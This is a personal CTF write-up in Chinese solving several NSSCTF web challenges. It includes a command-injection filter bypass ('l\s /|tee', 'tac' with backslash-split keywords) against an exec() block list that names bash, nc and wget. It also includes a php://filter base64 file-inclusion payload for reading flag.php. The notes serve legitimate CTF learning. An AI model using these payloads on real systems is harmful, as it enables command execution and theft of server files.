NSSCTF做题记录六 | [SWPUCTF 2021 新生赛]finalrce、[UUCTF 2022 新生赛]websign、[HDCTF 2023]Welcome To HDCTF 2023、
[SWPUCTF 2021 新生赛]finalrce?php highlight_file(__FILE__); //高亮显示当前代码 if(isset($_GET[url])) //判断GET请求中的url可存在并且不为NULL { $url$_GET[url]; //将GET请求中的url传参给变量$url if(preg_match(/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\|\|\|\%|\$/i,$url)) //对变量$url进行了正则表达式过滤不区分大小写被检测到有这些字符的话就输出if里面的内容如果没有这些内容就执行$url中的内容 { echo Sorry,you cant use this.; } else { echo Can you see anything?; exec($url); } }urll\s /|tee 1.txt // l\s绕过过滤后的 lsshell 执行时会把 l\s 理解成 ls。|管道符表示把前面命令的输出交给后面的命令继续处理访问 1.txt 返回根目录下的东西这里看到了flllllaaaaaagggggggtac /flllll\aaaaaaggggggg |tee 2.txt //tac:按行倒序输出文件内容然后在访问 2.txt 能够看到 flagNSSCTF{f70fca94-304c-43ee-ac37-635b88d49da9}本题考点无回显命令执行复盘思路1. 这是什么类型的题无回显命令执行2. 我为什么没做出来不知道使用什么方法绕过正则表达式3. 正确思路是什么先代码审计-知道了哪些是被绕过的-使用 \ 绕过关键字还有 | 把内容传入到 txt 文档中-访问 txt 文档得到关键信息4. 下次遇到什么特征要想到它代码审计知道使用什么方法绕过[UUCTF 2022 新生赛]websign右键和查看源代码的快捷键都被仅用了直接在 url 前面加上view-source:view-source:NSSCTF{4d7ea0a0-423f-43f9-9d1a-63c499447864}[HDCTF 2023]Welcome To HDCTF 2023是一个 js 小游戏查看源代码找 js 代码在这个 js 代码中找到 jsFUck 编码粘贴下来去控制台回车输出 flagNSSCTF{We13ome_t_HDCTF_2o23}本题考点源码泄露、JsFuck 编码[HNCTF 2022 Week1]Interesting_include?php //WEB手要懂得搜索 //flag in ./flag.php //告诉了我们flag在哪里 if(isset($_GET[filter])){ $file $_GET[filter]; if(!preg_match(/flag/i, $file)){ //如果$file中没有flag就终止程序 die(error); } include($file); }else{ highlight_file(__FILE__); }/?filterphp://filter/readconvert.base64-encode/resource./flag.phpPD9waHAKCiRmbGFnID0gJ2ZsYWc9TlNTQ1RGezUxY2VmMDU2LWQ0OGYtNDBhNy04NTMzLTRlOTNiNWQ4MDdjZH0nOwo/PgNSSCTF{51cef056-d48f-40a7-8533-4e93b5d807cd}知识点代码审计、文件包含复盘思路1. 这是什么类型的题文件包含2. 我为什么没做出来最终目标少了个.最终要读取的是./flag.php3. 正确思路是什么代码审计-知道了他具体要求是什么-使用 php 伪协议进行读取目标4. 下次遇到什么特征要想到它遇到 include()函数会想到他文件包含